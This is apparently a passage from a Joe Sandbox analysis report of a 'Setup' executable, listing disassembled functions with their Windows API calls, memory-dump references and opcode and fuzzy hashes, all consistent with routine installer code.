                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$_memcpy_s
                    • String ID:
                    • API String ID: 1663610674-0
                    • Opcode ID: 28ad89d51642499ecefa8b27fbe6ebb93139f82d3d09af6a69db0c2f22dd9f86
                    • Instruction ID: 6061c0cdba965f268befa55ca73e66d14e97a50e2ce9c01f3e308ec2866a4c8f
                    • Opcode Fuzzy Hash: 28ad89d51642499ecefa8b27fbe6ebb93139f82d3d09af6a69db0c2f22dd9f86
                    • Instruction Fuzzy Hash: 4041D971A0024A9FDF00DF98C884AEEBBB5FF08348F044559E955AB751CB71EE19CBA1
                    Function 6CBC36BA Relevance: 1.6, APIs: 1, Instructions: 56COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6CBC66E5: __EH_prolog3.LIBCMT ref: 6CBC66EC
                      • Part of subcall function 6CBC66E5: GetCommandLineW.KERNEL32(00000024,6CBC36CF,00000000,?,?,?,?,6CBC1338,?,00000010,6CB95A14,?,?,?,0000004C,6CBCB498), ref: 6CBC66F3
                      • Part of subcall function 6CBC66E5: GetUserDefaultUILanguage.KERNEL32(00000738,00000000,00000000,?,?,?,6CBC1338,?,00000010,6CB95A14,?,?,?,0000004C,6CBCB498,?), ref: 6CBC672F
                      • Part of subcall function 6CBC6782: __EH_prolog3.LIBCMT ref: 6CBC6789
                      • Part of subcall function 6CBC6782: CoInitialize.OLE32(00000000), ref: 6CBC67DD
                      • Part of subcall function 6CBC6782: CoCreateInstance.OLE32(6CB7A974,00000000,00000017,6CB7A9A4,6CBBFA6E,?,?,?,UiInfo.xml,?,00000000,00000044,6CBC36D8,-00000960,?,00000000), ref: 6CBC67FB
                    • GetUserDefaultUILanguage.KERNEL32(-00000960,?,00000000,?,?,?,?,6CBC1338,?,00000010,6CB95A14,?,?,?,0000004C,6CBCB498), ref: 6CBC36D8
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: DefaultH_prolog3LanguageUser$CommandCreateInitializeInstanceLine
                    • String ID:
                    • API String ID: 4049621043-0
                    • Opcode ID: 1146c741009695fec1f2ea49443e83b5e5b6f9f661a9a3b3ffdd9115a5d4e682
                    • Instruction ID: 884d426cd9d2e57219ccb59d68f6b9422acbc76c8894994a43dbf7b4cfa82e36
                    • Opcode Fuzzy Hash: 1146c741009695fec1f2ea49443e83b5e5b6f9f661a9a3b3ffdd9115a5d4e682
                    • Instruction Fuzzy Hash: 7001E5713042815BE3108A3AC8C0CEA7795DF55274760833AE5B5C7BD0DB31E8118B53
                    Function 6CB8BE52 Relevance: 1.5, APIs: 1, Instructions: 48COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: 1fc55d37d7e27a062890b13b4646507eb3f35d703de1192c62883efdd3b4decd
                    • Instruction ID: e46410e34329eddd3c312419cfd436f02c28f9e9aee86a879ee715e3403109f6
                    • Opcode Fuzzy Hash: 1fc55d37d7e27a062890b13b4646507eb3f35d703de1192c62883efdd3b4decd
                    • Instruction Fuzzy Hash: E3112170A12698EFCF00DFA8C88499DBBB9AF09B14B20C559F519DB794C730DA45CBA1
                    Function 6CBD8C9E Relevance: 1.5, APIs: 1, Instructions: 46COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: _memcpy_s
                    • String ID:
                    • API String ID: 2001391462-0
                    • Opcode ID: 418c8faa8bb17f4116f65aeaec1898627a1780b09b30d3fe84bd4296820e32b2
                    • Instruction ID: 883b2e2596be7760dfb454d02ff148461cc6e80f8920317e96e43fbea4bd8494
                    • Opcode Fuzzy Hash: 418c8faa8bb17f4116f65aeaec1898627a1780b09b30d3fe84bd4296820e32b2
                    • Instruction Fuzzy Hash: 3E01567A201204EFC710DFA8C884C9AB7B9FF89354716896AF8158B310DB71ED04CBA0
                    Function 6CB8BF68 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: 1e88854bb01d056af880028b4974de669df89e165f53684a2cddc6bf207321b6
                    • Instruction ID: cc82cfcf28afe2141a377da7a8962119e333fca69a7df8e45fb886baae843633
                    • Opcode Fuzzy Hash: 1e88854bb01d056af880028b4974de669df89e165f53684a2cddc6bf207321b6
                    • Instruction Fuzzy Hash: 1F11DB30A012499BDF08DF68C854AAE7775FF45764B248158F825EF790CB31EE05DB51
                    Function 6CB9B05A Relevance: 1.5, APIs: 1, Instructions: 46COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB9B061
                      • Part of subcall function 6CB996EC: __EH_prolog3.LIBCMT ref: 6CB996F3
                      • Part of subcall function 6CB93A99: __EH_prolog3.LIBCMT ref: 6CB93AA0
                      • Part of subcall function 6CB91B7A: __EH_prolog3.LIBCMT ref: 6CB91B81
                      • Part of subcall function 6CB962E2: CloseHandle.KERNEL32(00000000,?,6CB9C6AA,?,?,6CBA428C,6CB78F6C,?,?,?,ActionTable,?,?,?,RepairOverride), ref: 6CB962EF
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$CloseHandle
                    • String ID:
                    • API String ID: 603388062-0
                    • Opcode ID: 352127c708de54b8c51ccec0a9886bb04604660226da4a431e480ecf11ce5aa2
                    • Instruction ID: 9a45b72a7bc03deaed496be48bb645444e399ca08f2a37af5e94ed1fe0387eaa
                    • Opcode Fuzzy Hash: 352127c708de54b8c51ccec0a9886bb04604660226da4a431e480ecf11ce5aa2
                    • Instruction Fuzzy Hash: 0611F971000A818EDB60DFB8C1557DEBBA1BF21344F50882ED4EAA7B51CF71B548CBA2
                    Function 6CB99461 Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB99468
                      • Part of subcall function 6CB93A99: __EH_prolog3.LIBCMT ref: 6CB93AA0
                      • Part of subcall function 6CB91B7A: __EH_prolog3.LIBCMT ref: 6CB91B81
                      • Part of subcall function 6CB962E2: CloseHandle.KERNEL32(00000000,?,6CB9C6AA,?,?,6CBA428C,6CB78F6C,?,?,?,ActionTable,?,?,?,RepairOverride), ref: 6CB962EF
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$CloseHandle
                    • String ID:
                    • API String ID: 603388062-0
                    • Opcode ID: e4c3823d42bb0d95d5f654d64de04f2333b9ba8c2805f9ef32f893aa7a9aaf21
                    • Instruction ID: 6028d1b9914e704cff28f9ac03cb95e9381bab0ed71d5f6c32ca055bc4b51364
                    • Opcode Fuzzy Hash: e4c3823d42bb0d95d5f654d64de04f2333b9ba8c2805f9ef32f893aa7a9aaf21
                    • Instruction Fuzzy Hash: DF110A31000A918EDB60DFB8C1557DEBBA1BF11344F408D6DD4AAA7B61CF31B508DBA2
                    Function 6CB9DA4D Relevance: 1.5, APIs: 1, Instructions: 38COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: 77f2d61766372d40bf78527b495289e336026244c22dd5f458068bb6acd96837
                    • Instruction ID: 3f8f7ffec2dfcadb150e167fb1c29cc16ff97ccd53d11fd0cbf01cb1a6265bd7
                    • Opcode Fuzzy Hash: 77f2d61766372d40bf78527b495289e336026244c22dd5f458068bb6acd96837
                    • Instruction Fuzzy Hash: 53110AB1504B848FDB74CF6080437AABAB1AF05714F10495DE6BA6FBA0C7726540DBA1
                    Function 6CB8A1FF Relevance: 1.5, APIs: 1, Instructions: 34COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3_catch
                    • String ID:
                    • API String ID: 3886170330-0
                    • Opcode ID: e3f9f326eb8b841ce884aa2b25589b35e5162d5594daff5b8077fdf3e6ba01e9
                    • Instruction ID: 0650c9b6b41c511bbc54ef51dd945fbf869190a597eb31f4b971f2e9f49d2f48
                    • Opcode Fuzzy Hash: e3f9f326eb8b841ce884aa2b25589b35e5162d5594daff5b8077fdf3e6ba01e9
                    • Instruction Fuzzy Hash: 2CF04F70A12345EBDF149FA8C904B8D3B65AF4A754F208158B815DB3D0CB72DA05CB50
                    Function 6E0C25FF Relevance: 1.5, APIs: 1, Instructions: 32COMMON
                    Download Yara Rule
                    APIs
                    • EtwRegisterTraceGuidsW.NTDLL(6E0D5F38,6E0E0088,00000000,00000001,?,00000000,00000000,6E0E0090,?,6E0E0180,?,?,?,6E0C19C6,Microsoft\Windows\SoftwareQualityMetricsClient,6E0E0180), ref: 6E0C263E
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: GuidsRegisterTrace
                    • String ID:
                    • API String ID: 3540399512-0
                    • Opcode ID: 2d9db87ba0d34f06bb2feaa22d4617eaf652214263a3585b1f91200003956e42
                    • Instruction ID: ece288daf7a9adb85cd7fd01be0b90d8dfbf4a200c4b08568458aa255a572b24
                    • Opcode Fuzzy Hash: 2d9db87ba0d34f06bb2feaa22d4617eaf652214263a3585b1f91200003956e42
                    • Instruction Fuzzy Hash: 37F082B2920250BBEA14C7C5CC09FEAB7BCDB91720F100118F601A7180E6B07D44CBB0
                    Function 6CB8809D Relevance: 1.5, APIs: 1, Instructions: 32fileCOMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • CreateFileW.KERNEL32(?,?,?,?,00000000,?,00000000,00000001,?,6CB8A9FA,?,80000000,00000001,00000003,00000080,00000000), ref: 6CB880D7
                      • Part of subcall function 6CBD89E2: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,6CB880C1,?,?,?,?,00000000,?,00000001,?,6CB8A9FA,?,80000000,00000001), ref: 6CBD89F3
                      • Part of subcall function 6CBD89E2: GetProcAddress.KERNEL32(00000000,CreateFileTransactedW), ref: 6CBD8A03
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: AddressCreateFileHandleModuleProc
                    • String ID:
                    • API String ID: 2580138172-0
                    • Opcode ID: 5b885a6fcd368170935686e0404550a9cef9ad4d768436acef78266d5d6661cd
                    • Instruction ID: 0242e82c534e4aebe4b658ee20eb0ff0d97ebffab349ce81e7872c8f7d4ac667
                    • Opcode Fuzzy Hash: 5b885a6fcd368170935686e0404550a9cef9ad4d768436acef78266d5d6661cd
                    • Instruction Fuzzy Hash: 66F0AF3200518ABBCF125E95DC01DCA3F2AEF19320F158212FA2856960C333D571EB92
                    Function 6CB89E49 Relevance: 1.5, APIs: 1, Instructions: 31COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3_catch
                    • String ID:
                    • API String ID: 3886170330-0
                    • Opcode ID: 9d300018017543697348d3d3cf73416d7226f09b4ef34866abbc00849fece26e
                    • Instruction ID: 43beefb2c4933b5d1086659757f6cdca3048fd1c12656cc8ab542ee445005049
                    • Opcode Fuzzy Hash: 9d300018017543697348d3d3cf73416d7226f09b4ef34866abbc00849fece26e
                    • Instruction Fuzzy Hash: 92F06D30A01249EFDB10CF68C904B9D3BA0AF09768F248158BC15EF380CB31EE05DBA1
                    Function 6CBB53E5 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: 56516be44b01e1fee4e4ff7c3321d1c9b2ab31bac518f9b6659c328b1a4fb88e
                    • Instruction ID: 9262c268e4a739a465942c2b7011cb3ef1d4aa24f55abde12deee1442038a45d
                    • Opcode Fuzzy Hash: 56516be44b01e1fee4e4ff7c3321d1c9b2ab31bac518f9b6659c328b1a4fb88e
                    • Instruction Fuzzy Hash: 62F0BE319001C99ACF018BB4C5007ECBB21AF1134EF10806085A43BBA1CB36AA1EA7A6
                    Function 6CBA43ED Relevance: 1.5, APIs: 1, Instructions: 27COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBA43F4
                      • Part of subcall function 6CBA4F78: __EH_prolog3.LIBCMT ref: 6CBA4F7F
                      • Part of subcall function 6CB9632C: __EH_prolog3.LIBCMT ref: 6CB96333
                      • Part of subcall function 6CB9632C: _free.LIBCMT ref: 6CB96376
                      • Part of subcall function 6CB91B7A: __EH_prolog3.LIBCMT ref: 6CB91B81
                      • Part of subcall function 6CBA4ED6: __EH_prolog3.LIBCMT ref: 6CBA4EDD
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$_free
                    • String ID:
                    • API String ID: 1395095407-0
                    • Opcode ID: cb745d516bdef42164c14453a8cfd45cea751035f8d8c4a51644ba81305dd59c
                    • Instruction ID: f4a78b7eea4098335414d17ef638eef02dd0503df13c338c9c9f7d5e64ac5092
                    • Opcode Fuzzy Hash: cb745d516bdef42164c14453a8cfd45cea751035f8d8c4a51644ba81305dd59c
                    • Instruction Fuzzy Hash: A9F06271804784DECB10DBB4C5013DDBBA4AF16318F40895CD8AAA7B90CBB5A60DDB61
                    Function 6CB87C6E Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB87C75
                      • Part of subcall function 6CB87CE8: __EH_prolog3.LIBCMT ref: 6CB87CEF
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: 98aa01ceed4ec50fab885fa752ced9e29b9c878ef162a6f7d402a5fd4e987260
                    • Instruction ID: f6f24cf1faec8d89610d81f345da36d14b8d4d9ecbdbe19802f26c25b1edd284
                    • Opcode Fuzzy Hash: 98aa01ceed4ec50fab885fa752ced9e29b9c878ef162a6f7d402a5fd4e987260
                    • Instruction Fuzzy Hash: 35F01DB0B01A47ABD748CF3884407EDFAA1BF48308F41522E952DEB741DB316829CBC4
                    Function 6CB91025 Relevance: 1.5, APIs: 1, Instructions: 25COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: b8a4bcf4a2a6d43e467ac9d2c98e71f0023fdaf92057e55dab624167845948b4
                    • Instruction ID: 6b68a0cd633c58437cb50bc0127d9f562f57727c34039a60ecdddee664539995
                    • Opcode Fuzzy Hash: b8a4bcf4a2a6d43e467ac9d2c98e71f0023fdaf92057e55dab624167845948b4
                    • Instruction Fuzzy Hash: F5F0F8702013818FDB249FA9C01576D77A0FF09B58F10446DE6669FB90CBB2A444DB51
                    Function 6CB839AD Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB839B4
                      • Part of subcall function 6CBD8DCD: _vwprintf.LIBCMT ref: 6CBD8E13
                      • Part of subcall function 6CBD8DCD: _vswprintf_s.LIBCMT ref: 6CBD8E38
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3_vswprintf_s_vwprintf
                    • String ID:
                    • API String ID: 3682816334-0
                    • Opcode ID: d001e4079c209a4eba1c09a900206516e6140211a9ad9afc187b712c7c3c35c6
                    • Instruction ID: 1a394c6ef1c5a061c6948b8f456209eb0f85f1c70f4899747073202fdb86e519
                    • Opcode Fuzzy Hash: d001e4079c209a4eba1c09a900206516e6140211a9ad9afc187b712c7c3c35c6
                    • Instruction Fuzzy Hash: 06F0F23061018A9BCF00DFA4C804AADB7B6BF44659F058829E9909B690DB31EA19DB91
                    Function 6CBE5514 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                    Download Yara Rule
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: f96e7eb8ddd270737ef7d62db795e5a7feb900e43a1102e60736ca8562d8307f
                    • Instruction ID: 9ced6e57d3d00b4b4e36919f166ced1927e9d7671b278ca8cb2a0c42042347f3
                    • Opcode Fuzzy Hash: f96e7eb8ddd270737ef7d62db795e5a7feb900e43a1102e60736ca8562d8307f
                    • Instruction Fuzzy Hash: C5E0C235104149FF8B015FA5C8089997FFAFF1979A714C465F80A8A520D732DA54DB45
                    Function 6CB88129 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
